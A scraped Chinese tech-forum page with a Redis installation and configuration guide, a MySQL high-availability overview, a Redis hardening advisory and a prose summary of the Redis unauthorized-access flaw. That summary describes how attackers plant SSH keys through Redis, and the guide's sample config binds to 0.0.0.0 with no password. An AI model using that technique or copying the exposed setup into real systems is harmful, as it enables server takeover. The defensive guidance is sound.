Redis安装配置详解

采菊篱下 发表了文章 • 0 个评论 • 860 次浏览 • 2016-03-31 15:43 • 来自相关话题

下载编译安装***三部曲
# cd /usr/local/src
# wget http://redis.googlecode.com/files/redis-2.6.10.tar.gz
# tar zxvf redis-2.6.10.tar.gz
# cd redis-2.6.10
# make
# make install


执行文件说明:***make命令执行完成后,会在src目录下生成5个可执行文件:
# redis-server Redis服务器的daemon启动程序
# redis-cli Redis命令行操作工具。当然,你也可以用telnet根据其纯文本协议来操作
# redis-benchmark Redis性能测试工具,测试Redis在你的系统及你的配置下的读写性能
# redis-check-aof 更新日志检查
# redis-check-dump 用于本地数据库检查


echo "1" > /proc/sys/vm/overcommit_memory
1表示内核允许分配所有的物理内存,而不管当前的内存状态如何。


cp redis-benchmark redis-cli redis-server /usr/bin/ #拷贝可执行文件
cp redis.conf /etc/ # redis启动配置文件配置文件详解:#是否作为守护进程运行
daemonize yes

#如以后台进程运行,则需指定一个pid,默认为/var/run/redis.pid
pidfile redis.pid

#绑定主机IP,默认值为127.0.0.1
bind 0.0.0.0

#Redis默认监听端口
port 6379

#客户端闲置多少秒后,断开连接,默认为300(秒)
timeout 300

#日志记录等级,有4个可选值,debug,verbose(默认值),notice,warning
loglevel verbose

#指定日志输出的文件名,默认值为stdout,也可设为/dev/null屏蔽日志
logfile stdout

#可用数据库数,默认值为16,默认数据库为0
databases 16

#保存数据到disk的策略:

#当有一条Keys数据被改变时,900秒刷新到disk一次
save 900 1

#当有10条Keys数据被改变时,300秒刷新到disk一次
save 300 10

#当有1w条keys数据被改变时,60秒刷新到disk一次
save 60 10000

#当dump .rdb数据库的时候是否压缩数据对象
rdbcompression yes

#存储和加载rdb文件时校验
rdbchecksum yes

#本地数据库文件名,默认值为dump.rdb
dbfilename dump.rdb

#后台存储错误停止写。
stop-writes-on-bgsave-error yes

#本地数据库存放路径,默认值为 ./
dir /var/lib/redis/Redis  Replication配置:# slaveof <masterip> <masterport> 当本机为从服务时,设置主服务的IP及端口

# masterauth <master-password> 当本机为从服务时,设置主服务的连接密码

#连接密码
#requirepass foobared

#最大客户端连接数,默认不限制
# maxclients 128

#最大内存使用设置,达到最大内存设置后,Redis会先尝试清除已到期或即将到期的Key,当此方法处理后,任到达最大内存设置,将无法再进行写入操作。

# maxmemory <bytes>

#是否在每次更新操作后进行日志记录,如果不开启,可能会在断电时导致一段时间内的数据丢失。因为redis本身同步数据文件是按上面save条件来同步的,所以有的数据会在一段时间内只存在于内存中。默认值为no

appendonly no

#更新日志文件名,默认值为appendonly.aof

#appendfilename

#更新日志条件,共有3个可选值。no表示等操作系统进行数据缓存同步到磁盘,always表示每次更新操作后手动调用fsync()将数据写到磁盘,everysec表示每秒同步一次(默认值)。

# appendfsync always

appendfsync everysec

# appendfsync no

#当slave失去与master的连接,或正在拷贝中,如果为yes,slave会响应客户端的请求,数据可能不同步甚至没有数据,如果为no,slave会返回错误"SYNC with master in progress"
slave-serve-stale-data yes

#如果为yes,slave实例只读,如果为no,slave实例可读可写。
slave-read-only yes

# 在slave和master同步后(发送psync/sync),后续的同步是否设置成TCP_NODELAY . 假如设置成yes,则redis会合并小的TCP包从而节省带宽,但会增加同步延迟(40ms),造成master与slave数据不一致 假如设置成no,则redis master会立即发送同步数据,没有延迟
repl-disable-tcp-nodelay no

#如果master不能再正常工作,那么会在多个slave中,选择优先值最小的一个slave提升为master,优先值为0表示不能提升为master。
slave-priority 100

#[size=16]# LIMITS [/size]##
maxclients 10000 #客户端并发连接数的上限是10000,到达上限,服务器会关闭所有新连接并返回错误"max number of clients reached"

maxmemory 15G #设置最大内存,到达上限,服务器会根据驱逐政策(eviction policy)删除某些键值,如果政策被设置为noeviction,那么redis只读,对于增加内存的操作请求返回错误。

#[size=16]# APPEND ONLY MODE [/size]##
appendonly no #redis默认采用快照(snapshotting)异步转存到硬盘中,它是根据save指令来触发持久化的,当Redis异常中断或停电时,可能会导致最后一些写操作丢失。AOF(Append Only File,只追加文件)可以提供更好的持久性,结合apendfsync指令可以把几分钟的数据丢失降至一秒钟的数据丢失,它通过日志把所有的操作记录下来,AOF和RDB持久化可以同时启动。
appendfilename appendonly.aof    #指定aof的文件名。
apendfsync always|everysec|no    #调用fsync()写数据到硬盘中,always是每一次写操作就马上同步到日志中,everysec是每隔一秒强制fsync,no是不调用fsync(),让操作系统自己决定何时同步。
no-appendfsync-on-rewrite no    #如果为yes,当BGSAVE或BGREWRITEAOF指令运行时,即把AOF文件转写到RDB文件中时,会阻止调用fsync()。
auto-aof-rewrite-percentage 100
auto-aof-rewrite-min-size 64mb    #Redis会将AOF文件最初的大小记录下来,如果当前的AOF文件的大小增加100%并且超过64mb时,就会自动触发Redis改写AOF文件到RDB文件中,如果auto-aof-rewrite-percentage为0表示取消自动rewrite功能。

#[size=16]# LUA SCRIPTING [/size]##
lua-time-limit 5000    #一个Lua脚本最长的执行时间为5000毫秒(5秒),如果为0或负数表示无限执行时间。

#[size=16]# SLOW LOG [/size]##
slowlog-log-slower-than 10000    #当某个请求执行时间(不包括IO时间)超过10000微妙(10毫秒),把请求记录在慢日志中 ,如果为负数不使用慢日志,如果为0强制记录每个指令。
slowlog-max-len 128    #慢日志的最大长度是128,当慢日志超过128时,最先进入队列的记录会被踢出来,慢日志会消耗内存,你可以使用SLOWLOG RESET清空队列回收这些内存。

#[size=16]# ADVANCED CONFIG [/size]##
hash-max-ziplist-entries 512
hash-max-ziplist-value 64    #较小的hash可以通过某种特殊的方式进行编码,以节省大量的内存空间,我们指定最大的条目数为512,每个条目的最大长度为64。
list-max-ziplist-entries 512
list-max-ziplist-value 64    #同上。
zset-max-ziplist-entries 128
zset-max-ziplist-value 64    #同上。
activerehashing yes    #重新哈希the main Redis hash table(the one mapping top-level keys to values),这样会节省更多的空间。
client-output-buffer-limit normal 0 0 0    #对客户端输出缓冲进行限制可以强迫那些就不从服务器读取数据的客户端断开连接。对于normal client,第一个0表示取消hard limit,第二个0和第三个0表示取消soft limit,normal client默认取消限制,因为如果没有寻问,他们是不会接收数据的。
client-output-buffer-limit slave 256mb 64mb 60    #对于slave client和MONITER client,如果client-output-buffer一旦超过256mb,又或者超过64mb持续60秒,那么服务器就会立即断开客户端连接。
client-output-buffer-limit pubsub 32mb 8mb 60    #对于pubsub client,如果client-output-buffer一旦超过32mb,又或者超过8mb持续60秒,那么服务器就会立即断开客户端连接。

#[size=16]# INCLUDES [/size]##
include /path/to/conf    #包含一些可以重用的配置文件。

hz 10  #Redis 调用内部函数来执行后台task,比如关闭已经timeout连接,删除过期的keys并且永远不会被访问到的,执行频率根据 hz 后面的值来确定。在Redis 比较空闲的时候,提高这个值,能充分利用CPU,让Redis相应速度更快,可取范围是1-500 ,建议值为 1--100

aof-rewrite-incremental-fsync yes  # 当子进程重写AOF文件,以下选项开启时,AOF文件会每产生32M数据同步一次。这有助于更快写入文件到磁盘避免延迟

#############[size=16]# VIRTUAL MEMORY [/size]######[size=16]#[/size]

#是否开启VM功能,默认值为no

vm-enabled no

# vm-enabled yes

#虚拟内存文件路径,默认值为/tmp/redis.swap,不可多个Redis实例共享

vm-swap-file /tmp/redis.swap

#将所有大于vm-max-memory的数据存入虚拟内存,无论vm-max-memory设置多小,所有索引数据都是内存存储的 (Redis的索引数据就是keys),也就是说,当vm-max-memory设置为0的时候,其实是所有value都存在于磁盘。默认值为0。

vm-max-memory 0

vm-page-size 32

vm-pages 134217728

vm-max-threads 4

##########[size=16]# ADVANCED CONFIG [/size]##########[size=16]#[/size]

glueoutputbuf yes

hash-max-zipmap-entries 64

hash-max-zipmap-value 512

#是否重置Hash表

activerehashing yes 
_____________________________________________________________________
注意:Redis官方文档对VM的使用提出了一些建议:

当你的key很小而value很大时,使用VM的效果会比较好.因为这样节约的内存比较大.
当你的key不小时,可以考虑使用一些非常方法将很大的key变成很大的value,比如你可以考虑将key,value组合成一个新的value.
最好使用linux ext3 等对稀疏文件支持比较好的文件系统保存你的swap文件.
vm-max-threads这个参数,可以设置访问swap文件的线程数,设置最好不要超过机器的核数.如果设置为0,那么所有对swap文件的操作都是串行的.可能会造成比较长时间的延迟,但是对数据完整性有很好的保证.#启动服务
redis-server /etc/redis.conf

#操作窗口
redis-cli
redis-cli set foo bar
OK
redis-cli get foo
bar

#关闭redis
redis-cli shutdown 

#强制备份数据到磁盘,使用如下命令
redis-cli save 
redis-cli -p 6380 save  #指定端口

redis-cli -r 3 info    # 重复执行info命令三次
cat testStr.txt | redis-cli -x set testStr   # 读取testStr.txt文件所有内容设置为testStr的值
redis-cli keys \*   # 查看所有键值信息
redis-cli -n 1 keys "test*" | xargs redis-cli -n 1 del # 删除DBID为1的test开头的key值 
redis-cli -p 6379 info |  grep '\<used_memory\>'  # 过滤查询used_memory属性
redis-check-dump  dump.rdb    # 检查本地数据库文件
_____________________________________________________________________
    redis双机高可用的基础,是redis的主备复制机制。指定主备角色,是用slaveof命令。
    指定本机为master 
         slaveof NO ONE 
    指定本机为192.168.1.10的slave 
         slaveof 192.168.1.10 6379

    硬盘存储两种方式任选其一: 1、save 为快照    2、aof 为持久化  
    aof日志文件损坏,可用 Redis 随身带的 redis-check-aof 命令来修复原始文件:
    redis-check-aof --fix "filename"

_____________________________________________________________________

redis的基准信息和性能检测
# redis-benchmark 命令测试性能      

    redis-benchmark -h localhost -p 6379 -c 100 -n 100000

    100个并发连接,100000个请求,检测host为localhost 端口为6379的redis服务器性能

    ./redis-benchmark -n 100000 –c 50
        ====== –c 50 ======
        100000 requests completed in 1.93 seconds (100000个请求完成于 1.93 秒 )
        50 parallel clients (每个请求有50个并发客户端)
        3 bytes payload (每次写入3字节)
        keep alive: 1 (保持1个连接)
        58.50% <= 0 milliseconds
        99.17% <= 1 milliseconds
        99.58% <= 2 milliseconds
        99.85% <= 3 milliseconds
        99.90% <= 6 milliseconds
        100.00% <= 9 milliseconds

    (所有请求在62毫秒内完成)
        114293.71 requests per second(每秒 114293.71 次查询)
        
         例子:
        redis-benchmark -h 192.168.1.1 -p 6379 -n 100000 -c 20
        redis-benchmark -t set -n 1000000 -r 100000000
        redis-benchmark -t ping,set,get -n 100000 –csv
        redis-benchmark -r 10000 -n 10000 lpush mylist 

_____________________________________________________________________
Redis的query分析
    redis-faina(https://github.com/Instagram/redis-faina) 是由Instagram 开发并开源的一个Redis 查询分析小工具,需安装python环境。

    redis-faina 是通过Redis的MONITOR命令来实现的,通过对在Redis上执行的query进行监控,统计出一段时间的query特性,需root权限。

    通过管道从stdin读取N条命令,直接分析

    redis-cli -p 6439 monitor  | head -n <NUMBER OF LINES TO ANALYZE> | ./redis-faina.py         

# python-redis官网
https://pypi.python.org/pypi/redis 查看全部
下载编译安装
***三部曲
# cd /usr/local/src
# wget http://redis.googlecode.com/files/redis-2.6.10.tar.gz
# tar zxvf redis-2.6.10.tar.gz
# cd redis-2.6.10
# make
# make install


执行文件说明:
***make命令执行完成后,会在src目录下生成5个可执行文件:
# redis-server Redis服务器的daemon启动程序
# redis-cli Redis命令行操作工具。当然,你也可以用telnet根据其纯文本协议来操作
# redis-benchmark Redis性能测试工具,测试Redis在你的系统及你的配置下的读写性能
# redis-check-aof 更新日志检查
# redis-check-dump 用于本地数据库检查


echo "1" > /proc/sys/vm/overcommit_memory
1表示内核允许分配所有的物理内存,而不管当前的内存状态如何。


cp redis-benchmark redis-cli redis-server /usr/bin/   #拷贝可执行文件
cp redis.conf /etc/ # redis启动配置文件
配置文件详解:
#是否作为守护进程运行
daemonize yes

#如以后台进程运行,则需指定一个pid,默认为/var/run/redis.pid
pidfile redis.pid

#绑定主机IP,默认值为127.0.0.1
bind 0.0.0.0

#Redis默认监听端口
port 6379

#客户端闲置多少秒后,断开连接,默认为300(秒)
timeout 300

#日志记录等级,有4个可选值,debug,verbose(默认值),notice,warning
loglevel verbose

#指定日志输出的文件名,默认值为stdout,也可设为/dev/null屏蔽日志
logfile stdout

#可用数据库数,默认值为16,默认数据库为0
databases 16

#保存数据到disk的策略:

#当有一条Keys数据被改变时,900秒刷新到disk一次
save 900 1

#当有10条Keys数据被改变时,300秒刷新到disk一次
save 300 10

#当有1w条keys数据被改变时,60秒刷新到disk一次
save 60 10000

#当dump .rdb数据库的时候是否压缩数据对象
rdbcompression yes

#存储和加载rdb文件时校验
rdbchecksum yes

#本地数据库文件名,默认值为dump.rdb
dbfilename dump.rdb

#后台存储错误停止写。
stop-writes-on-bgsave-error yes

#本地数据库存放路径,默认值为 ./
dir /var/lib/redis/
Redis  Replication配置:
# slaveof <masterip> <masterport> 当本机为从服务时,设置主服务的IP及端口

# masterauth <master-password> 当本机为从服务时,设置主服务的连接密码

#连接密码
#requirepass foobared

#最大客户端连接数,默认不限制
# maxclients 128

#最大内存使用设置,达到最大内存设置后,Redis会先尝试清除已到期或即将到期的Key,当此方法处理后,任到达最大内存设置,将无法再进行写入操作。

# maxmemory <bytes>

#是否在每次更新操作后进行日志记录,如果不开启,可能会在断电时导致一段时间内的数据丢失。因为redis本身同步数据文件是按上面save条件来同步的,所以有的数据会在一段时间内只存在于内存中。默认值为no

appendonly no

#更新日志文件名,默认值为appendonly.aof

#appendfilename

#更新日志条件,共有3个可选值。no表示等操作系统进行数据缓存同步到磁盘,always表示每次更新操作后手动调用fsync()将数据写到磁盘,everysec表示每秒同步一次(默认值)。

# appendfsync always

appendfsync everysec

# appendfsync no

#当slave失去与master的连接,或正在拷贝中,如果为yes,slave会响应客户端的请求,数据可能不同步甚至没有数据,如果为no,slave会返回错误"SYNC with master in progress"
slave-serve-stale-data yes

#如果为yes,slave实例只读,如果为no,slave实例可读可写。
slave-read-only yes

# 在slave和master同步后(发送psync/sync),后续的同步是否设置成TCP_NODELAY . 假如设置成yes,则redis会合并小的TCP包从而节省带宽,但会增加同步延迟(40ms),造成master与slave数据不一致 假如设置成no,则redis master会立即发送同步数据,没有延迟
repl-disable-tcp-nodelay no

#如果master不能再正常工作,那么会在多个slave中,选择优先值最小的一个slave提升为master,优先值为0表示不能提升为master。
slave-priority 100

#[size=16]# LIMITS [/size]##
maxclients 10000 #客户端并发连接数的上限是10000,到达上限,服务器会关闭所有新连接并返回错误"max number of clients reached"

maxmemory 15G #设置最大内存,到达上限,服务器会根据驱逐政策(eviction policy)删除某些键值,如果政策被设置为noeviction,那么redis只读,对于增加内存的操作请求返回错误。

#[size=16]# APPEND ONLY MODE [/size]##
appendonly no #redis默认采用快照(snapshotting)异步转存到硬盘中,它是根据save指令来触发持久化的,当Redis异常中断或停电时,可能会导致最后一些写操作丢失。AOF(Append Only File,只追加文件)可以提供更好的持久性,结合apendfsync指令可以把几分钟的数据丢失降至一秒钟的数据丢失,它通过日志把所有的操作记录下来,AOF和RDB持久化可以同时启动。
appendfilename appendonly.aof    #指定aof的文件名。
apendfsync always|everysec|no    #调用fsync()写数据到硬盘中,always是每一次写操作就马上同步到日志中,everysec是每隔一秒强制fsync,no是不调用fsync(),让操作系统自己决定何时同步。
no-appendfsync-on-rewrite no    #如果为yes,当BGSAVE或BGREWRITEAOF指令运行时,即把AOF文件转写到RDB文件中时,会阻止调用fsync()。
auto-aof-rewrite-percentage 100
auto-aof-rewrite-min-size 64mb    #Redis会将AOF文件最初的大小记录下来,如果当前的AOF文件的大小增加100%并且超过64mb时,就会自动触发Redis改写AOF文件到RDB文件中,如果auto-aof-rewrite-percentage为0表示取消自动rewrite功能。

#[size=16]# LUA SCRIPTING [/size]##
lua-time-limit 5000    #一个Lua脚本最长的执行时间为5000毫秒(5秒),如果为0或负数表示无限执行时间。

#[size=16]# SLOW LOG [/size]##
slowlog-log-slower-than 10000    #当某个请求执行时间(不包括IO时间)超过10000微妙(10毫秒),把请求记录在慢日志中 ,如果为负数不使用慢日志,如果为0强制记录每个指令。
slowlog-max-len 128    #慢日志的最大长度是128,当慢日志超过128时,最先进入队列的记录会被踢出来,慢日志会消耗内存,你可以使用SLOWLOG RESET清空队列回收这些内存。

#[size=16]# ADVANCED CONFIG [/size]##
hash-max-ziplist-entries 512
hash-max-ziplist-value 64    #较小的hash可以通过某种特殊的方式进行编码,以节省大量的内存空间,我们指定最大的条目数为512,每个条目的最大长度为64。
list-max-ziplist-entries 512
list-max-ziplist-value 64    #同上。
zset-max-ziplist-entries 128
zset-max-ziplist-value 64    #同上。
activerehashing yes    #重新哈希the main Redis hash table(the one mapping top-level keys to values),这样会节省更多的空间。
client-output-buffer-limit normal 0 0 0    #对客户端输出缓冲进行限制可以强迫那些就不从服务器读取数据的客户端断开连接。对于normal client,第一个0表示取消hard limit,第二个0和第三个0表示取消soft limit,normal client默认取消限制,因为如果没有寻问,他们是不会接收数据的。
client-output-buffer-limit slave 256mb 64mb 60    #对于slave client和MONITER client,如果client-output-buffer一旦超过256mb,又或者超过64mb持续60秒,那么服务器就会立即断开客户端连接。
client-output-buffer-limit pubsub 32mb 8mb 60    #对于pubsub client,如果client-output-buffer一旦超过32mb,又或者超过8mb持续60秒,那么服务器就会立即断开客户端连接。

#[size=16]# INCLUDES [/size]##
include /path/to/conf    #包含一些可以重用的配置文件。

hz 10  #Redis 调用内部函数来执行后台task,比如关闭已经timeout连接,删除过期的keys并且永远不会被访问到的,执行频率根据 hz 后面的值来确定。在Redis 比较空闲的时候,提高这个值,能充分利用CPU,让Redis相应速度更快,可取范围是1-500 ,建议值为 1--100

aof-rewrite-incremental-fsync yes  # 当子进程重写AOF文件,以下选项开启时,AOF文件会每产生32M数据同步一次。这有助于更快写入文件到磁盘避免延迟

#############[size=16]# VIRTUAL MEMORY [/size]######[size=16]#[/size]

#是否开启VM功能,默认值为no

vm-enabled no

# vm-enabled yes

#虚拟内存文件路径,默认值为/tmp/redis.swap,不可多个Redis实例共享

vm-swap-file /tmp/redis.swap

#将所有大于vm-max-memory的数据存入虚拟内存,无论vm-max-memory设置多小,所有索引数据都是内存存储的 (Redis的索引数据就是keys),也就是说,当vm-max-memory设置为0的时候,其实是所有value都存在于磁盘。默认值为0。

vm-max-memory 0

vm-page-size 32

vm-pages 134217728

vm-max-threads 4

##########[size=16]# ADVANCED CONFIG [/size]##########[size=16]#[/size]

glueoutputbuf yes

hash-max-zipmap-entries 64

hash-max-zipmap-value 512

#是否重置Hash表

activerehashing yes 
_____________________________________________________________________
注意:Redis官方文档对VM的使用提出了一些建议:

当你的key很小而value很大时,使用VM的效果会比较好.因为这样节约的内存比较大.
当你的key不小时,可以考虑使用一些非常方法将很大的key变成很大的value,比如你可以考虑将key,value组合成一个新的value.
最好使用linux ext3 等对稀疏文件支持比较好的文件系统保存你的swap文件.
vm-max-threads这个参数,可以设置访问swap文件的线程数,设置最好不要超过机器的核数.如果设置为0,那么所有对swap文件的操作都是串行的.可能会造成比较长时间的延迟,但是对数据完整性有很好的保证.
#启动服务
redis-server /etc/redis.conf

#操作窗口
redis-cli
redis-cli set foo bar
OK
redis-cli get foo
bar

#关闭redis
redis-cli shutdown 

#强制备份数据到磁盘,使用如下命令
redis-cli save 
redis-cli -p 6380 save  #指定端口

redis-cli -r 3 info    # 重复执行info命令三次
cat testStr.txt | redis-cli -x set testStr   # 读取testStr.txt文件所有内容设置为testStr的值
redis-cli keys \*   # 查看所有键值信息
redis-cli -n 1 keys "test*" | xargs redis-cli -n 1 del # 删除DBID为1的test开头的key值 
redis-cli -p 6379 info |  grep '\<used_memory\>'  # 过滤查询used_memory属性
redis-check-dump  dump.rdb    # 检查本地数据库文件
_____________________________________________________________________
    redis双机高可用的基础,是redis的主备复制机制。指定主备角色,是用slaveof命令。
    指定本机为master 
         slaveof NO ONE 
    指定本机为192.168.1.10的slave 
         slaveof 192.168.1.10 6379

    硬盘存储两种方式任选其一: 1、save 为快照    2、aof 为持久化  
    aof日志文件损坏,可用 Redis 随身带的 redis-check-aof 命令来修复原始文件:
    redis-check-aof --fix "filename"

_____________________________________________________________________

redis的基准信息和性能检测
# redis-benchmark 命令测试性能      

    redis-benchmark -h localhost -p 6379 -c 100 -n 100000

    100个并发连接,100000个请求,检测host为localhost 端口为6379的redis服务器性能

    ./redis-benchmark -n 100000 –c 50
        ====== –c 50 ======
        100000 requests completed in 1.93 seconds (100000个请求完成于 1.93 秒 )
        50 parallel clients (每个请求有50个并发客户端)
        3 bytes payload (每次写入3字节)
        keep alive: 1 (保持1个连接)
        58.50% <= 0 milliseconds
        99.17% <= 1 milliseconds
        99.58% <= 2 milliseconds
        99.85% <= 3 milliseconds
        99.90% <= 6 milliseconds
        100.00% <= 9 milliseconds

    (所有请求在62毫秒内完成)
        114293.71 requests per second(每秒 114293.71 次查询)
        
         例子:
        redis-benchmark -h 192.168.1.1 -p 6379 -n 100000 -c 20
        redis-benchmark -t set -n 1000000 -r 100000000
        redis-benchmark -t ping,set,get -n 100000 –csv
        redis-benchmark -r 10000 -n 10000 lpush mylist 

_____________________________________________________________________
Redis的query分析
    redis-faina(https://github.com/Instagram/redis-faina) 是由Instagram 开发并开源的一个Redis 查询分析小工具,需安装python环境。

    redis-faina 是通过Redis的MONITOR命令来实现的,通过对在Redis上执行的query进行监控,统计出一段时间的query特性,需root权限。

    通过管道从stdin读取N条命令,直接分析

    redis-cli -p 6439 monitor  | head -n <NUMBER OF LINES TO ANALYZE> | ./redis-faina.py         

# python-redis官网
https://pypi.python.org/pypi/redis

Mysql架构的演化

Rock 发表了文章 • 2 个评论 • 1498 次浏览 • 2016-01-03 23:44 • 来自相关话题

Mysql微型高可用架构

方案:Mysql主从复制,读写分离




服务器资源:两台服务器
优点:架构简单,节省资源
缺点:任何一台服务器down机,都会对业务造成影响。网站发展初期,到一定程度,单台Mysql的读写效率是满足不了生产的应用的了。即使在网站使用了缓存后,大部分数据的读操作访问都不通过数据库完成,但是仍然有一部分的读操作(缓存不命中、缓存过期)和全部的写操作还是需要访问数据库,当数据库的访问达到一定压力后,数据库会因为负载过高成为整个系统的瓶颈。所以初期的读写分离很重要! 

Mysql小型高可用架构

方案:MySQL双主、主从 + Keepalived主从自动切换




服务器资源:四台服务器
优点:架构简单,资源适度
缺点:无法线性扩展,主从失败之后需要手动恢复主从架构。单一的读写分离,满足不了业务需求之后,我们需要横向扩展多主多从,来达到压力分流和多向写入的设计。

MySQL中型高可用架构

方案:MMM + MySQL双主 + 多从高可用方案




服务器资源:
1、至少五台服务器,2台MySQL主库,2台MySQL从库,1台MMM Monitor;
2、1台MMM Monitor选择低配;
3、如果不采用F5作为从库的负载均衡器,可用2台服务器部署LVS或HAProxy+Keepalived组合来代替;
优点:双主热备模式,读写分离,SLAVE集群可线性扩展
缺点:读写分离需要在程序端解决,Master大批量写操作时会产生主从延时

MySQL大型高可用架构

主要思路:中间件+MySQL Sharding
如方案:Cobar、Mycat等中间件+MySQL技术
 
另外,还分享些MySQL一些主流的高可用架构:
[]MySQL双主 + Keepalived主备自动切换方案(上面已有)[/][]MySQL主从 + Keepalived主从自动切换方案(上面已有)[/][]MMM+MySQL双主 + 多从高可用方案(上面已有)[/][]MySQL + Pecemaker(Heartbeat) + DRBD高可用[/][]MySQL + RHCS 高可用方案[/][]MySQL + Cluser 集群架构[/][]Percona Xtradb Cluster 集群高可用性解决方案[/][]中间件 + MySQL 大型集群解决方案(上面已提到)[/]
MySQL + Pecemaker(Heartbeat) + DRBD高可用 && MySQL + RHCS 高可用方案




Percona Xtradb Cluster 集群高可用性解决方案




MySQL多机房部署架构参考案例 查看全部


Mysql微型高可用架构


方案:Mysql主从复制,读写分离
mysqlha1.png

服务器资源:两台服务器
优点:架构简单,节省资源
缺点:任何一台服务器down机,都会对业务造成影响。
网站发展初期,到一定程度,单台Mysql的读写效率是满足不了生产的应用的了。即使在网站使用了缓存后,大部分数据的读操作访问都不通过数据库完成,但是仍然有一部分的读操作(缓存不命中、缓存过期)和全部的写操作还是需要访问数据库,当数据库的访问达到一定压力后,数据库会因为负载过高成为整个系统的瓶颈。所以初期的读写分离很重要!
 


Mysql小型高可用架构


方案:MySQL双主、主从 + Keepalived主从自动切换
mysqlha2.png

服务器资源:四台服务器
优点:架构简单,资源适度
缺点:无法线性扩展,主从失败之后需要手动恢复主从架构。
单一的读写分离,满足不了业务需求之后,我们需要横向扩展多主多从,来达到压力分流和多向写入的设计。


MySQL中型高可用架构


方案:MMM + MySQL双主 + 多从高可用方案
mysqlha3.png

服务器资源:
1、至少五台服务器,2台MySQL主库,2台MySQL从库,1台MMM Monitor;
2、1台MMM Monitor选择低配;
3、如果不采用F5作为从库的负载均衡器,可用2台服务器部署LVS或HAProxy+Keepalived组合来代替;
优点:双主热备模式,读写分离,SLAVE集群可线性扩展
缺点:读写分离需要在程序端解决,Master大批量写操作时会产生主从延时


MySQL大型高可用架构


主要思路:中间件+MySQL Sharding
如方案:Cobar、Mycat等中间件+MySQL技术
 
另外,还分享些MySQL一些主流的高可用架构:
    []MySQL双主 + Keepalived主备自动切换方案(上面已有)[/][]MySQL主从 + Keepalived主从自动切换方案(上面已有)[/][]MMM+MySQL双主 + 多从高可用方案(上面已有)[/][]MySQL + Pecemaker(Heartbeat) + DRBD高可用[/][]MySQL + RHCS 高可用方案[/][]MySQL + Cluser 集群架构[/][]Percona Xtradb Cluster 集群高可用性解决方案[/][]中间件 + MySQL 大型集群解决方案(上面已提到)[/]

MySQL + Pecemaker(Heartbeat) + DRBD高可用 && MySQL + RHCS 高可用方案
mysqlha4.png

Percona Xtradb Cluster 集群高可用性解决方案
mysqlha5.png

MySQL多机房部署架构参考案例
mysqlha6.png

mysqlha7.png

mysqlha8.png

mysql有哪些索引类型

Geek小A 回复了问题 • 3 人关注 • 2 个回复 • 1440 次浏览 • 2016-01-03 17:24 • 来自相关话题

Redis风险安全公告

OpenSkill 发表了文章 • 0 个评论 • 1040 次浏览 • 2015-12-04 19:53 • 来自相关话题

今天接到ucloud的安全公告信息,内容如下,分享给大家:近日爆出针对Redis的新型攻击手法,Redis用户可能因为配置不当,被攻击者恶意利用导致被清空Redis数据或者获取到系统控制权限。对于自建Redis服务、如使用默认端口、没有启用认证而且对公网开放的服务器均受该漏洞影响。

修复方案

1、监听指定接口修改redis.conf配置,例如只监听127.0.0.1:

bind 127.0.0.1
redis默认注释了该配置,删掉前面的"#"即可,重启才会生效。2、启用认证在requirepass字段后面配置强口令,例如:

requirepass H9j#udw*1FL
redis默认注释了该配置,删掉前面的"#"即可,重启才会生效,同时修改客户端程序,需要使用该口令才可以访问。3、关闭config命令
如果不需要在运行过程中通过CONFIG命令修改配置,可以关闭该功能,有两种方式:
1)把CONFIG重命名为其它的名字,这样攻击者很难猜测到该名字,方法如下:rename-command CONFIG b840fc02d524045429941cc15f59e41cb7be6c52 2)直接关闭CONFIG命令,方法如下:rename-command CONFIG ""修改完配置后需要重启才能生效。
 
4、使用普通账户运行redis服务使用普通用户运行redis,并关闭该账号系统登录权限,可以减少漏洞影响,但是攻击者还是可以通过运行命令删除redis数据。5、配置访问控制策略如果redis必须对公网提供服务,可以通过通过防火墙限制指定的IP才可以访问redis服务。http://openskill.cn   开源技术社区分享阅读
只做技术的分享,欢迎订阅微信公众号: 查看全部
今天接到ucloud的安全公告信息,内容如下,分享给大家:
近日爆出针对Redis的新型攻击手法,Redis用户可能因为配置不当,被攻击者恶意利用导致被清空Redis数据或者获取到系统控制权限。
对于自建Redis服务、如使用默认端口、没有启用认证而且对公网开放的服务器均受该漏洞影响。


修复方案


1、监听指定接口
修改redis.conf配置,例如只监听127.0.0.1:

bind 127.0.0.1
redis默认注释了该配置,删掉前面的"#"即可,重启才会生效。
2、启用认证
在requirepass字段后面配置强口令,例如:

requirepass H9j#udw*1FL
redis默认注释了该配置,删掉前面的"#"即可,重启才会生效,同时修改客户端程序,需要使用该口令才可以访问。
3、关闭config命令
如果不需要在运行过程中通过CONFIG命令修改配置,可以关闭该功能,有两种方式:
1)把CONFIG重命名为其它的名字,这样攻击者很难猜测到该名字,方法如下:
rename-command CONFIG b840fc02d524045429941cc15f59e41cb7be6c52
 2)直接关闭CONFIG命令,方法如下:
rename-command CONFIG ""
修改完配置后需要重启才能生效。
 
4、使用普通账户运行redis服务
使用普通用户运行redis,并关闭该账号系统登录权限,可以减少漏洞影响,但是攻击者还是可以通过运行命令删除redis数据。
5、配置访问控制策略
如果redis必须对公网提供服务,可以通过通过防火墙限制指定的IP才可以访问redis服务。
http://openskill.cn   开源技术社区分享阅读
只做技术的分享,欢迎订阅微信公众号:
openskill.gif

qqun.png

Redis 未授权访问缺陷可轻易导致系统被黑

OpenSkill 发表了文章 • 0 个评论 • 1035 次浏览 • 2015-12-03 20:08 • 来自相关话题

漏洞概要

Redis 默认情况下,会绑定在 0.0.0.0:6379,这样将会将Redis服务暴露到公网上,如果在没有开启认证的情况下,可以导致任意用户在可以访问目标服务器的情况下未授权访问Redis以及读取Redis的数据。攻击者在未授权访问Redis的情况下可以利用Redis的相关方法,可以成功将自己的公钥写入目标服务器的 /root/.ssh 文件夹的authotrized_keys 文件中,进而可以直接登录目标服务器。

漏洞详情

漏洞概述Redis 默认情况下,会绑定在 0.0.0.0:6379,这样将会将Redis服务暴露到公网上,如果在没有开启认证的情况下,可以导致任意用户在可以访问目标服务器的情况下未授权访问Redis以及读取Redis的数据。攻击者在未授权访问Redis的情况下可以利用Redis的相关方法,可以成功将自己的公钥写入目标服务器的 /root/.ssh 文件夹的authotrized_keys 文件中,进而可以直接登录目标服务器。漏洞描述Redis 安全模型的观念是: “请不要将Redis暴露在公开网络中, 因为让不受信任的客户接触到Redis是非常危险的” 。
 Redis 作者之所以放弃解决未授权访问导致的不安全性是因为, 99.99%使用Redis的场景都是在沙盒化的环境中, 为了0.01%的可能性增加安全规则的同时也增加了复杂性, 虽然这个问题的并不是不能解决的, 但是这在他的设计哲学中仍是不划算的。

